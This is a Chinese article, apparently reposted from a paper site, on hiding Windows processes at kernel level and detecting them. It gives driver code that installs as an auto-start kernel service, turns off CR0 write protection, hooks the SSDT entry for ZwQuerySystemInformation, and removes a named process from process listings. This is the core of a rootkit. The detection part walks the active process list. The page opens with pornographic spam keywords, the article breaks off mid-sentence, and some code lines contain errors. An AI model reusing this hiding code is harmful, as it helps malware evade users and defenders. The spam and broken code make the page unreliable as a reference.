久久久久无码精品,四川省少妇一级毛片,老老熟妇xxxxhd,人妻无码少妇一区二区

Windows 內(nèi)核級(jí)進(jìn)程隱藏、偵測(cè)技術(shù)

  • 相關(guān)推薦

Windows2003 內(nèi)核級(jí)進(jìn)程隱藏、偵測(cè)技術(shù)

  論文關(guān)鍵字: 內(nèi)核 攔截 活動(dòng)進(jìn)程鏈表 系統(tǒng)服務(wù)派遣表 線程調(diào)度鏈 驅(qū)動(dòng)程序簡(jiǎn)介  

  論文摘要:信息對(duì)抗是目前發(fā)展的一個(gè)重要的方向,為了更好的防御,必須去深入的了解敵人進(jìn)攻的招式。信息對(duì)抗促使信息技術(shù)飛速的發(fā)展。下面我選取了信息對(duì)抗技術(shù)的中一個(gè)很小一角關(guān)于windows內(nèi)核級(jí)病毒隱藏技術(shù)和反病毒偵測(cè)技術(shù)作為議題詳細(xì)討論。

  1.為什么選驅(qū)動(dòng)程序

  驅(qū)動(dòng)程序是運(yùn)行在系統(tǒng)信任的Ring0下在代碼,她擁有對(duì)系統(tǒng)任何軟件和硬件的訪問權(quán)限。這意味著內(nèi)核驅(qū)動(dòng)可以訪問所有的系統(tǒng)資源,可以讀取所有的內(nèi)存空間,而且也被允許執(zhí)行CPU的特權(quán)指令,如,讀取CPU控制寄存器的當(dāng)前值等。而處于用戶模式下的程序如果試圖從內(nèi)核空間中讀取一個(gè)字節(jié)或者試圖執(zhí)行像MOV EAX,CR3這樣的匯編指令都會(huì)被立即終止掉。不過,這種強(qiáng)大的底線是驅(qū)動(dòng)程序的一個(gè)很小的錯(cuò)誤就會(huì)讓整個(gè)系統(tǒng)崩潰。所以對(duì)隱藏和反隱藏技術(shù)來說都提供了一個(gè)極好的環(huán)境。但是又對(duì)攻擊者和反查殺者提出了更高的技術(shù)要求。

  2.入口例程DriverEntry

  DriverEntry是內(nèi)核模式驅(qū)動(dòng)程序主入口點(diǎn)常用的名字,她的作用和main,WinMain,是一樣的。

  extern "C" NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
  {...}

  DriverEntry的第一個(gè)參數(shù)是一個(gè)指針,指向一個(gè)剛被初始化的驅(qū)動(dòng)程序?qū)ο螅搶?duì)象就代表你的驅(qū)動(dòng)程序,DriverEntry的第二個(gè)參數(shù)是設(shè)備服務(wù)鍵的鍵名。DriverEntry函數(shù)返回一個(gè)NTSTATUS值。NTSTATUS實(shí)際就是一個(gè)長(zhǎng)整型,但你應(yīng)該使用NTSTATUS定義該函數(shù)的返回值而不是LONG,這樣代碼的可讀性會(huì)更好。大部分內(nèi)核模式支持例程都返回NTSTATUS狀態(tài)代碼,你可以在DDK頭文件NTSTATUS.H中找到NTSTATUS的代碼列表。

  DriverEntry的作用主要就是創(chuàng)建設(shè)備對(duì)象,建立設(shè)備對(duì)象的符號(hào)鏈接,設(shè)置好各個(gè)類型的回調(diào)函數(shù)等。

  例如:

extern "C"

NTSTATUS

DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)

{

 DriverObject->DriverUnload = DriverUnload;                                                             <--1

 DriverObject->DriverExtension->AddDevice = AddDevice;

 DriverObject->DriverStartIo = StartIo;

 DriverObject->MajorFunction[IRP_MJ_PNP] = DispatchPnp;                                        <--2

 DriverObject->MajorFunction[IRP_MJ_POWER] = DispatchPower;

 DriverObject->MajorFunction[IRP_MJ_SYSTEM_CONTROL] = DispatchWmi;

 ...

}

  在WDM中通過設(shè)置AddDevice回調(diào)函數(shù)來創(chuàng)建設(shè)備對(duì)象。在NT驅(qū)動(dòng)中在DriverEntry例程中創(chuàng)建設(shè)備對(duì)象和符號(hào)鏈接。

  例如:

  RtlInitUnicodeString (&deviceNameUnicodeString, deviceNameBuffer); //初始化設(shè)備名字
//創(chuàng)建設(shè)備

ntStatus = IoCreateDevice (DriverObject,     

                            0,

                            &deviceNameUnicodeString,

                            ##DeviceId,

                            0,

                            FALSE,

                            &deviceObject

                            );
if ( NT_SUCCESS ( ntStatus ) )  {

    RtlInitUnicodeString (&deviceLinkUnicodeString, deviceLinkBuffer); //初始化符號(hào)鏈接名字

//創(chuàng)建符號(hào)鏈接
    ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString, &deviceNameUnicodeString);
    if ( !NT_SUCCESS ( ntStatus ) ) {

        IoDeleteDevice (deviceObject); //如果創(chuàng)建符號(hào)鏈接失敗,刪除設(shè)備
             return ntStatus;

}

}

  建立符號(hào)鏈接的作用就是暴露一個(gè)給應(yīng)用程序的接口,應(yīng)用程序可以通過CreateFile API打開鏈接符號(hào),得到一個(gè)語柄,和我們的驅(qū)動(dòng)程序進(jìn)行交互操作。

  3.Unload例程

  雖然各個(gè)驅(qū)動(dòng)程序的Unload例程不盡相同,但是它大致執(zhí)行下列工作:

  釋放屬于驅(qū)動(dòng)程序的任何硬件。

  從Win32的名字空間移除符號(hào)連接名。

  這個(gè)動(dòng)作可以調(diào)用IoDeleteSymbolicLink來實(shí)現(xiàn)。

  使用IoDeleteDevice移除設(shè)備對(duì)象。

  釋放驅(qū)動(dòng)程序持有的任何緩沖池等。

VOID DriverUnload ( IN PDRIVER_OBJECT pDriverObject )

{

PDEVICE_OBJECT pNextObj;

// 循環(huán)每一個(gè)驅(qū)動(dòng)過程控制的設(shè)備

pNextObj = pDriverObject->DeviceObject;

while (pNextObj != NULL)

{

//從設(shè)備對(duì)象中取出設(shè)備Extension

PDEVICE_EXTENSION pDevExt = (PDEVICE_EXTENSION)extObj->DeviceExtension;

// 取出符號(hào)連接名

UNICODE_STRING pLinkName = pDevExt->ustrSymLinkName;

IoDeleteSymbolicLink(&pLinkName); //刪除符號(hào)連接名

IoDeleteDevice(pNextObj); // 刪除設(shè)備

pNextObj = pNextObj->NextDevice;

}

}

  4. 派遣例程

  Win2000的I/O請(qǐng)求是包驅(qū)動(dòng)的,當(dāng)一個(gè)I/O請(qǐng)求開始,I/O器先創(chuàng)建一個(gè)IRP去跟蹤這個(gè)請(qǐng)求,另外,它存儲(chǔ)一個(gè)功能代碼在IRP的I/O堆棧區(qū)的MajorField域中來唯一的標(biāo)識(shí)請(qǐng)求的類型。MajorField域是被I/O管理器用來索引驅(qū)動(dòng)程序?qū)ο蟮腗ajorFunction表,這個(gè)表包含一個(gè)指向一個(gè)特殊I/O請(qǐng)求的派遣例程的功能指針,如果驅(qū)動(dòng) 程序不支持這個(gè)請(qǐng)求,MajorFunction表就會(huì)指向I/O器函數(shù)_IopInvalidDeviceRequest,該函數(shù)返回一個(gè)錯(cuò)誤給原始的調(diào)用者。驅(qū)動(dòng)程序的作者有責(zé)任提供所有的驅(qū)動(dòng)程序支持的派遣例程。所有的驅(qū)動(dòng)程序必須支持IRP_MJ_CREATE功能代碼,因?yàn)檫@個(gè)功能代碼是用來響應(yīng)Win32用戶模式的CreateFile調(diào)用,如果不支持這功能代碼,Win32程序就沒有辦法獲得設(shè)備的句柄,類似的,驅(qū)動(dòng)程序必須支持IRP_MJ_CLOSE功能代碼,因?yàn)樗脕眄憫?yīng)Win32用戶模式的CloseHandle調(diào)用。順便提一下,系統(tǒng)自動(dòng)調(diào)用CloseHandle函數(shù),因?yàn)樵诔绦蛲顺龅臅r(shí)候,所有的句柄都沒有被關(guān)閉。

 static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)

{

    NTSTATUS status;

    PIO_STACK_LOCATION irpSp;

    //得到當(dāng)前IRP (I/O請(qǐng)求包)

    irpSp = IoGetCurrentIrpStackLocation( Irp );

    switch (irpSp->MajorFunction)

    {

        case IRP_MJ_CREATE:

            DbgPrint("IRP_MJ_CREATE\n");

            Irp->IoStatus.Status = STATUS_SUCCESS;

            Irp->IoStatus.Information = 0L;

            break;

        case IRP_MJ_CLOSE:

            DbgPrint("IRP_MJ_CLOSE\n");

            Irp->IoStatus.Status = STATUS_SUCCESS;

            Irp->IoStatus.Information = 0L;

            break;

    }

    IoCompleteRequest(Irp, 0);

    return STATUS_SUCCESS;

}

  大部分的I/O管理器的操作支持一個(gè)標(biāo)準(zhǔn)的讀寫提取,IRP_MJ_DEVICE_CONTROL允許擴(kuò)展的I/O請(qǐng)求,使用用戶模式的DeviceIoControl函數(shù)來調(diào)用,I/O管理器創(chuàng)建一個(gè)IRP,這個(gè)IRP的MajorFunction和IoControlCode是被DeviceIoControl函數(shù)指定其內(nèi)容。傳遞給驅(qū)動(dòng)程序的IOCTL遵循一個(gè)特殊的結(jié)構(gòu),它有32-bit大小,DDK包含一個(gè)方便的產(chǎn)生IOCTL值的機(jī)制的宏,CTL_CODE?梢允褂肅TL_CODE宏來定義我們自己的IOCTL。

例如:

#define IOCTL_MISSLEDEVICE_AIM  CTL_CODE \

( FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ACCESS_ANY )

 NTSTATUS DispatchIoControl( IN PDEVICE_OBJECT pDO, IN PIRP pIrp )

{

    NTSTATUS status = STATUS_SUCCESS;     

    PDEVICE_EXTENSION pDE;

    PVOID userBuffer;

    ULONG inSize;

    ULONG outSize;

    ULONG controlCode;                 // IOCTL請(qǐng)求代碼

    PIO_STACK_LOCATION pIrpStack;   //堆棧區(qū)域存儲(chǔ)了用戶緩沖區(qū)信息

     pIrpStack = IoGetCurrentIrpStackLocation( pIrp );

    // 取出IOCTL請(qǐng)求代碼

    controlCode = pIrpStack-> Parameters.DeviceIoControl.IoControlCode;

    // 得到請(qǐng)求緩沖區(qū)大小

    inSize = pIrpStack-> Parameters.DeviceIoControl.InputBufferLength;

    OutSize = pIrpStack-> Parameters.DeivceIoControl.OutputBufferLength;

    //現(xiàn)在執(zhí)行二次派遣

    switch (controlCode)

    {

        case IOCTL_MISSLEDEVICEAIM:

       ......

        case IOCTL_DEVICE_LAUNCH:

        ......

        default:    // 驅(qū)動(dòng)程序收到了未被承認(rèn)的控制代碼

        status = STATUS_INVALID_DEVICE_REQUEST;

    }

    pIrp->IoStatus.Information = 0; // 數(shù)據(jù)沒有傳輸

    IoCompleteRequest( pIrp, IO_NO_INCREMENT ) ;     

    return status;

}

  5.驅(qū)動(dòng)程序的安裝

    SC管理器(即服務(wù)控制管理器)可以控制服務(wù)和驅(qū)動(dòng)程序。

    加載和運(yùn)行一個(gè)服務(wù)需要執(zhí)行的典型操作步驟:

    1.調(diào)用OpenSCManager()以獲取一個(gè)管理器句柄

    2.調(diào)用CreateService()來向系統(tǒng)中添加一個(gè)服務(wù)

    3.調(diào)用StartService()來運(yùn)行一個(gè)服務(wù)

    4.調(diào)用CloseServiceHandle()來釋放管理器或服務(wù)句柄

 BOOL    InstallDriver()

{

    SC_HANDLE hSCManager = NULL;

    hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);

    if(hSCManager == NULL)

    {

fprintf(stderr, "OpenSCManager() failed. --err: %d\n", GetLastError());

        return FALSE;

    }

    SC_HANDLE schService;

schService = CreateService( hSCManager, //SCManager database

                           "MyDriver",             // name of service

                            "MyDriver",             // name to display

                           SERVICE_ALL_ACCESS,     // desired access

                           SERVICE_KERNEL_DRIVER,   // service type

                            SERVICE_AUTO_START,    // start type

                    SERVICE_ERROR_NORMAL, // error control type

                            DriverPath,              // service's binary

                            NULL,                 // no load ordering group

                            NULL,                    // no tag identifier

                            NULL,                    // no dependencies

                            NULL,                    // LocalSystem account

                            NULL                     // no password

                            );

    if (schService == NULL)

    {

        if(GetLastError() == ERROR_SERVICE_EXISTS)

        {

            printf("Service has already installed!\n");

        }

        printf("Install driver false!");

        return FALSE;

    }

    BOOL    nRet = StartService(schService, 0, NULL);

    if(!nRet)

    {

      if(GetLastError() == ERROR_SERVICE_ALREADY_RUNNING)

        {

            printf("Service is already running!\n");

            return FALSE;

        }

    }

CloseServiceHandle(schService);

    CloseServiceHandle(hSCManager);

    return TRUE;

}

  以上對(duì)驅(qū)動(dòng)程序大致框架做了一個(gè)非常簡(jiǎn)單的介紹,這僅僅是驅(qū)動(dòng)程序中的一個(gè)”Hello World!”。驅(qū)動(dòng)程序是相當(dāng)復(fù)雜的,由于我們只是利用驅(qū)動(dòng)程序的特權(quán),對(duì)windows內(nèi)核進(jìn)行修改,所以就不對(duì)驅(qū)動(dòng)驅(qū)動(dòng)程序進(jìn)行深入討論了。

  通過Hook SSDT (System Service Dispath Table) 隱藏進(jìn)程

  1.原理介紹:

  Windows操作系統(tǒng)是一種分層的架構(gòu)體系。應(yīng)用層的程序是通過API來訪問操作系統(tǒng)。而API又是通過ntdll里面的核心API來進(jìn)行系統(tǒng)服務(wù)的查詢。核心API通過對(duì)int 2e的切換,從用戶模式轉(zhuǎn)換到內(nèi)核模式。2Eh中斷的功能是通過NTOSKRNL.EXE的一個(gè)函數(shù)KiSystemService()來實(shí)現(xiàn)的。在你使用了一個(gè)系統(tǒng)調(diào)用時(shí),必須首先裝載要調(diào)用的函數(shù)索引號(hào)到EAX寄存器中。把指向參數(shù)區(qū)的指針被保存在EDX寄存器中。中斷調(diào)用后,EAX寄存器保存了返回的結(jié)果。KiSystemService()是根據(jù)EAX的值來決定哪個(gè)函數(shù)將被調(diào)用。而系統(tǒng)在SSDT中維持了一個(gè)數(shù)組,專門用來索引特定的函數(shù)服務(wù)地址。在Windows 2000中有一個(gè)未公開的由ntoskrnl.exe導(dǎo)出的KeServiceDescriptorTable變量,我們可以通過它來完成對(duì)SSDT的訪問與修改。KeServiceDescriptorTable對(duì)應(yīng)于一個(gè)數(shù)據(jù)結(jié)構(gòu),定義如下:

typedef struct SystemServiceDescriptorTable
{
    UINT    *ServiceTableBase;
    UINT    *ServiceCounterTableBase;
    UINT    NumberOfService;
    UCHAR    *ParameterTableBase;
}SystemServiceDescriptorTable,*PSystemServiceDescriptorTable;

  其中ServiceTableBase指向系統(tǒng)服務(wù)程序的地址(SSDT),ParameterTableBase則指向SSPT中的參數(shù)地址,它們都包含了NumberOfService這么多個(gè)數(shù)組單元。在windows 2000 sp4中NumberOfService的數(shù)目是248個(gè)。

  我們的任務(wù)器,是通過用戶層的API來枚舉當(dāng)前的進(jìn)程的。Ring3級(jí)枚舉的方法:

• PSAPI

– EnumProcesses()

• ToolHelp32

– Process32First()

- Process32Next()

  來對(duì)進(jìn)程進(jìn)行枚舉。而她們最后都是通過NtQuerySystemInformation來進(jìn)行查詢的。所以我們只需要Hook掉NtQuerySystemInformation,把真實(shí)NtQuerySystemInformation返回的數(shù)進(jìn)行添加或者是刪改,就能有效的欺騙上層API。從而達(dá)到隱藏特定進(jìn)程的目的。

  2. Hook

  Windows2000中NtQuerySystemInformation在SSDT里面的索引號(hào)是0x97,所以只需要把SSDT中偏移0x97*4處把原來的一個(gè)DWORD類型的讀出來保存一個(gè)全局變量中然后再把她重新賦值成一個(gè)新的Hook函數(shù)的地址,就完成了Hook。

OldFuncAddress = KeServiceDescriptorTable-> ServiceCounterTableBase[0x97];

KeServiceDescriptorTable-> ServiceCounterTableBase[0x97] = NewFuncAddress;

  在其他系統(tǒng)中這個(gè)號(hào)就不一定一樣。所以必須找一種通用的辦法來得到這個(gè)索引號(hào)。在《Undocument Nt》中介紹了一種辦法可以解決這個(gè)通用問題,從未有效的避免了使用硬編碼。在ntoskrnl 導(dǎo)出的 ZwQuerySystemInformation中包含有索引號(hào)的硬編碼:

kd> u ZwQuerySystemInformation

804011aa    b897000000      mov         eax,0x97

804011af    8d542404        lea         edx,[esp+0x4]

804011b3    cd2e            int         2e

804011b5    c21000          ret         0x10

  所以只需要把ZwQuerySystemInformation入口處的第二個(gè)字節(jié)取出來就能得到相應(yīng)的索引號(hào)了。例如:

ID = *(PULONG)((PUCHAR)ZwQuerySystemInformation+1);

RealZwQuerySystemInformation=((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]);

((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID] = HookZwQuerySystemInformation;

  3.對(duì)NtQuerySystemInformation返回的數(shù)據(jù)進(jìn)行刪改

NtQuerySystemInformation的原型:

NtQuerySystemInformation(

        IN ULONG SystemInformationClass,   //查詢系統(tǒng)服務(wù)類型

        IN PVOID SystemInformation,        //接收系統(tǒng)信息緩沖區(qū)

     IN ULONG SystemInformationLength,   //接收信息緩沖區(qū)大小         OUT PULONG ReturnLength);       //實(shí)際接收到的大小

  NtQuerySystemInformation可以對(duì)系統(tǒng)的很多狀態(tài)進(jìn)行查詢,不僅僅是對(duì)進(jìn)程的查詢,通過SystemInformationClass號(hào)來區(qū)分功能,當(dāng)SystemInformationClass等于5的時(shí)候是在進(jìn)行進(jìn)程的查詢。此時(shí)返回的SystemInformation 是一個(gè) _SYSTEM_PROCESSES結(jié)構(gòu)。

struct _SYSTEM_PROCESSES

{

    ULONG NextEntryDelta;   //下一個(gè)進(jìn)程信息的偏移量,如果為0表示無一個(gè)進(jìn)程信息

    ULONG ThreadCount;     //線程數(shù)量

    ULONG Reserved[6];     //

    LARGE_INTEGER CreateTime;      //創(chuàng)建進(jìn)程的時(shí)間

    LARGE_INTEGER UserTime;         //進(jìn)程中所有線程在用戶模式運(yùn)行時(shí)間的總和

    LARGE_INTEGER KernelTime;      //進(jìn)程中所有線程在內(nèi)核模式運(yùn)行時(shí)間的總和

    UNICODE_STRING ProcessName;     //進(jìn)程的名字

    KPRIORITY BasePriority;         //線程的缺省優(yōu)先級(jí)

    ULONG ProcessId;                //進(jìn)程ID號(hào)

    ULONG InheritedFromProcessId;  //繼承語柄的進(jìn)程ID號(hào)

    ULONG HandleCount;              //進(jìn)程打開的語柄數(shù)量   

    ULONG Reserved2[2];             // 

    VM_COUNTERS VmCounters;         //虛擬內(nèi)存的使用情況

    IO_COUNTERS IoCounters;         //IO操作的統(tǒng)計(jì),Only For 2000

    struct _SYSTEM_THREADS Threads[1]; //描述進(jìn)程中各線程的數(shù)組

};

  當(dāng)NextEntryDelta域等于0時(shí)表示已經(jīng)到了進(jìn)程信息鏈的末尾。我們要做的僅僅是把要隱藏的進(jìn)程從鏈中刪除。

  4. 核心實(shí)現(xiàn)

//系統(tǒng)服務(wù)表入口地址

extern PServiceDescriptorTableEntry KeServiceDescriptorTable;

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)

{

    ……

    __asm{

        mov eax, cr0

        mov CR0VALUE, eax

        and eax, 0fffeffffh //DisableWriteProtect

        mov cr0, eax

    }

    //取得原來ZwQuerySystemInformation的入口地址

RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] );

    //Hook

((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=HookFunc;

    //EnableWriteProtect

    __asm

    {

        mov eax, CR0VALUE

        mov cr0, eax

    }

    ……

    return STATUS_SUCCESS;

}

  

VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)

{

    ……

    //UnHook恢復(fù)系統(tǒng)服務(wù)的原始入口地址

((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] = RealZwQuerySystemInformation;

    ……

}

  

NTSTATUS HookFunc(

        IN ULONG SystemInformationClass,

        IN PVOID SystemInformation,

        IN ULONG SystemInformationLength,

        OUT PULONG ReturnLength)

{

    NTSTATUS rc;

    struct _SYSTEM_PROCESSES *curr;

    // 保存上一個(gè)進(jìn)程信息的指針

    struct _SYSTEM_PROCESSES *prev = NULL;

    //調(diào)用原函數(shù)

    rc = (RealZwQuerySystemInformation) (

        SystemInformationClass,

        SystemInformation,

        SystemInformationLength, ReturnLength);

    if(NT_SUCCESS(rc))

    {

if(5 == SystemInformationClass)

//如果系統(tǒng)查詢類型是SystemProcessesAndThreadsInformation

        {

            curr = (struct _SYSTEM_PROCESSES *)SystemInformation;

            //加第一個(gè)偏移量得到第一個(gè)system進(jìn)程的信息首地址

            if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);

            while(curr)

            {

if(RtlCompareUnicodeString(&hide_process_name, &curr->ProcessName, 1) == 0)

                {

                    //找到要隱藏的進(jìn)程

                    if(prev)

                    {

                       

                        if(curr->NextEntryDelta)

                        {

                            //要?jiǎng)h除的信息在中間

                            prev->NextEntryDelta += curr->NextEntryDelta;

                        }

                        else

                        {

                            //要?jiǎng)h除的信息在末尾

                            prev->NextEntryDelta = 0;

                        }

                    }

                    else

                    {

                        if(curr->NextEntryDelta)

                        {

                            //要?jiǎng)h除的信息在開頭

                            (char *)SystemInformation += curr->NextEntryDelta;

                        }

                        else

                        {

                            SystemInformation = NULL;

                        }

                    }

                    //如果鏈下一個(gè)還有其他的進(jìn)程信息,指針往后移

                    if(curr->NextEntryDelta)

((char*)curr+=curr->NextEntryDelta);                    else

                    {

                        curr = NULL;

                        break;

                    }

                }

                if(curr != NULL)

                {

                    //把當(dāng)前指針設(shè)置成前一個(gè)指針,當(dāng)前指針后移

                    prev = curr;

                    if(curr->NextEntryDelta)

((char*)curr+=curr->NextEntryDelta);

                    else curr = NULL;

                }

            } // end while(curr)

        }

    }

    return rc;

}

  通過IOCTL和Ring3級(jí)的應(yīng)用程序通過DeviceIoControl(API)交互信息。Ring3級(jí)的用戶程序使用,

  DeviceIoControl(Handle,IOCTL_EVENT_MSG,ProcessName,ProcessNameLen,

  NULL,0,& BytesReturned,NULL)來通知驅(qū)動(dòng)程序要隱藏的進(jìn)程的名字。

  枚舉和修改活動(dòng)進(jìn)程鏈表來檢測(cè)和隱藏進(jìn)程

  1. 介紹EPROCESS塊(進(jìn)程執(zhí)行塊)

  每個(gè)進(jìn)程都由一個(gè)EPROCESS塊來表示。EPROCESS塊中不僅包含了進(jìn)程相關(guān)了很多信息,還有很多指向其他相關(guān)結(jié)構(gòu)數(shù)據(jù)結(jié)構(gòu)的指針。例如每一個(gè)進(jìn)程里面都至少有一個(gè)ETHREAD塊表示的線程。進(jìn)程的名字,和在用戶空間的PEB(進(jìn)程)塊等等。EPROCESS中除了PEB成員塊在是用戶空間,其他都是在系統(tǒng)空間中的。  

  2. 查看EPROCESS結(jié)構(gòu)

kd> !processfields

!processfields

 EPROCESS structure offsets:

    Pcb:                               0x0

    ExitStatus:                        0x6c

    LockEvent:                         0x70

    LockCount:                         0x80

    CreateTime:                        0x88

    ExitTim e:                          0x90

    LockOwner:                         0x98

    UniqueProcessId:                   0x9c

    ActiveProcessLinks:                0xa0

    QuotaPeakPoolUsage[0]:             0xa8

    QuotaPoolUsage[0]:                 0xb0

    PagefileUsage:                     0xb8

    CommitCharge:                      0xbc

    PeakPagefileUsage:                 0xc0

    PeakVirtualSize:                   0xc4

    VirtualSize:                       0xc8

    Vm:                                0xd0

    DebugPort:                         0x120

    ExceptionPort:                     0x124

    ObjectTable:                       0x128

    Token:                             0x12c

    WorkingSetLock:                    0x130

    WorkingSetPage:                    0x150

    ProcessOutswapEnabled:             0x154

    ProcessOutswapped:                 0x155

    AddressSpaceInitialized:           0x156

    AddressSpaceDeleted:               0x157

    AddressCreationLock:               0x158

    ForkInProgress:                    0x17c

    VmOperation:                       0x180

    VmOperationEvent:                  0x184

    PageDirectoryPte:                  0x1f0

    LastFaultCount:                    0x18c

    VadRoot:                           0x194

    VadHint:                           0x198

    CloneRoot:                         0x19c

    NumberOfPrivatePages:              0x1a0

    NumberOfLockedPages:               0x1a4

    ForkWasSuccessful:                 0x182

    ExitProcessCalled:                 0x1aa

    CreateProcessReported:             0x1ab

    SectionHandle:                     0x1ac

    Peb:                               0x1b0

    SectionBaseAddress:                0x1b4

    QuotaBlock:                        0x1b8

    LastThreadExitStatus:              0x1bc

    WorkingSetWatch:                   0x1c0

    InheritedFromUniqueProcessId:      0x1c8

    GrantedAccess:                     0x1cc

    DefaultHardErrorProcessing         0x1d0

    LdtInformation:                    0x1d4

    VadFreeHint:                       0x1d8

    VdmObjects:                        0x1dc

    DeviceMap:                         0x1e0

    ImageFileName[0]:                  0x1fc

    VmTrimFaultValue:                  0x20c

    Win32Process:                      0x214

  Win32WindowStation:                0x1c4

  3. 什么是活動(dòng)進(jìn)程鏈表

  EPROCESS塊中有一個(gè)ActiveProcessLinks成員,它是一個(gè)PLIST_ENTRY機(jī)構(gòu)的雙向鏈表。當(dāng)一個(gè)新進(jìn)程建立的時(shí)候父進(jìn)程負(fù)責(zé)完成EPROCESS塊,然后把ActiveProcessLinks鏈接到一個(gè)全局內(nèi)核變量PsActiveProcessHead鏈表中。

  在PspCreateProcess內(nèi)核API中能清晰的找到:

  InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks);

  當(dāng)進(jìn)程結(jié)束的時(shí)候,該進(jìn)程的EPROCESS結(jié)構(gòu)當(dāng)從活動(dòng)進(jìn)程鏈上摘除。(但是EPROCESS結(jié)構(gòu)不一定就馬上釋放)。

  在PspExitProcess內(nèi)核API中能清晰的找到:

  RemoveEntryList(&Process->ActiveProcessLinks);

  所以我們完全可以利用活動(dòng)進(jìn)程鏈表來對(duì)進(jìn)程進(jìn)行枚舉。

  4. 進(jìn)程枚舉檢測(cè)Hook SSDT隱藏的進(jìn)程。

    事實(shí)上Nactive API ZwQuerySystemInformation 對(duì)進(jìn)程查詢也是找到活動(dòng)進(jìn)程鏈表頭,然后遍歷活動(dòng)進(jìn)程鏈。最后把每一個(gè)EPROCESS中包含的基本信息返回(包括進(jìn)程ID名字等)。所以用遍歷活動(dòng)進(jìn)程鏈表的辦法能有效的把Hook SSDT進(jìn)行隱藏的進(jìn)程輕而易舉的查出來。但是PsActiveProcessHead并沒被ntoskrnl.exe 導(dǎo)出來,所以我們可以利用硬編碼的辦法,來解決這個(gè)問題。利用內(nèi)核調(diào)試器livekd查得PsActiveProcessHead的地址為: 0x8046e460.(在2000 sp4中得到的值)

  kd> dd PsActiveProcessHead L 2

  dd PsActiveProcessHead L 2

  8046e460 81829780 ff2f4c80

  PLIST_ENTRY PsActiveProcessHead = (PLIST_ENTRY)0x8046e460;

void DisplayList()

{

PLIST_ENTRY List = PsActiveProcessHead->Blink;

while( List != PsActiveProcessHead )

{

        char* name = ((char*)List-0xa0)+0x1fc;

        DbgPrint("name = %s\n",name);

        List=List->Blink;              

}

}

  首先把List指向表頭后的第一個(gè)元素。然后減去0xa0,因?yàn)檫@個(gè)時(shí)候List指向的并不是EPROCESS塊的頭,而是指向的它的ActiveProcessLinks成員結(jié)構(gòu),而ActiveProcessLinks在EPROCESS中的偏移量是0xa0,所以需要減去這么多,得到EPROCESS的頭部。在EPROCESS偏移0x1fc處是進(jìn)程的名字信息,所以再加上0x1fc得到進(jìn)程名字,并且在Dbgview中打印出來。利用Hook SSDT隱藏的進(jìn)程很容易就被查出來了。

  5. 解決硬編碼問題。

  在上面我們的PsActiveProcessHead是通過硬編碼的形式得到的,在不同的系統(tǒng)中這值不一樣。在不同的SP版本中這個(gè)值一般也不一樣。這就給程序的通用性帶來了很大的問題。下面就來解決這個(gè)PsActiveProcessHead的硬編碼的問題。

    ntoskrnl.exe導(dǎo)出的PsInitialSystemProcess 是一個(gè)指向system進(jìn)程的EPROCESS。這個(gè)結(jié)構(gòu)成員EPROCESS.ActiveProcessLinks.Blink就是指向PsActiveProcessHead的.

kd> dd PsInitialSystemProcess L 1

dd PsInitialSystemProcess L 1

8046e450 818296e0

kd> !process 818296e0 0

!process 818296e0 0

PROCESS 818296e0 SessionId: 0 Cid: 0008    Peb: 00000000 ParentCid: 0000

    DirBase: 00030000 ObjectTable: 8185d148 TableSize: 141.

Image: System

可以看出由PsInitialSystemProcess得到的818296e0正是指向System的EPROCESS.

kd> dd 818296e0+0xa0 L 2

dd 818296e0+0xa0 L 2

81829780 814d1a00 8046e460

上面又可以看出S

【W(wǎng)indows 內(nèi)核級(jí)進(jìn)程隱藏、偵測(cè)技術(shù)】相關(guān)文章:

Windows05-28

佤族孤兒故事人物形象的思想內(nèi)核與藝術(shù)魅力論文04-27

經(jīng)濟(jì)全球化進(jìn)程中的新世紀(jì)世界格局05-30

3GPP AMR Codec中丟幀隱藏機(jī)制的改進(jìn)06-17

如何在 Windows操作系統(tǒng)中改變文件打開方式05-30

網(wǎng)絡(luò)直播技術(shù)前沿技術(shù)探析05-08

通信技術(shù)論文11-21

籃球投籃技術(shù)11-30

電子技術(shù)論文11-03

Video Object編碼技術(shù)05-29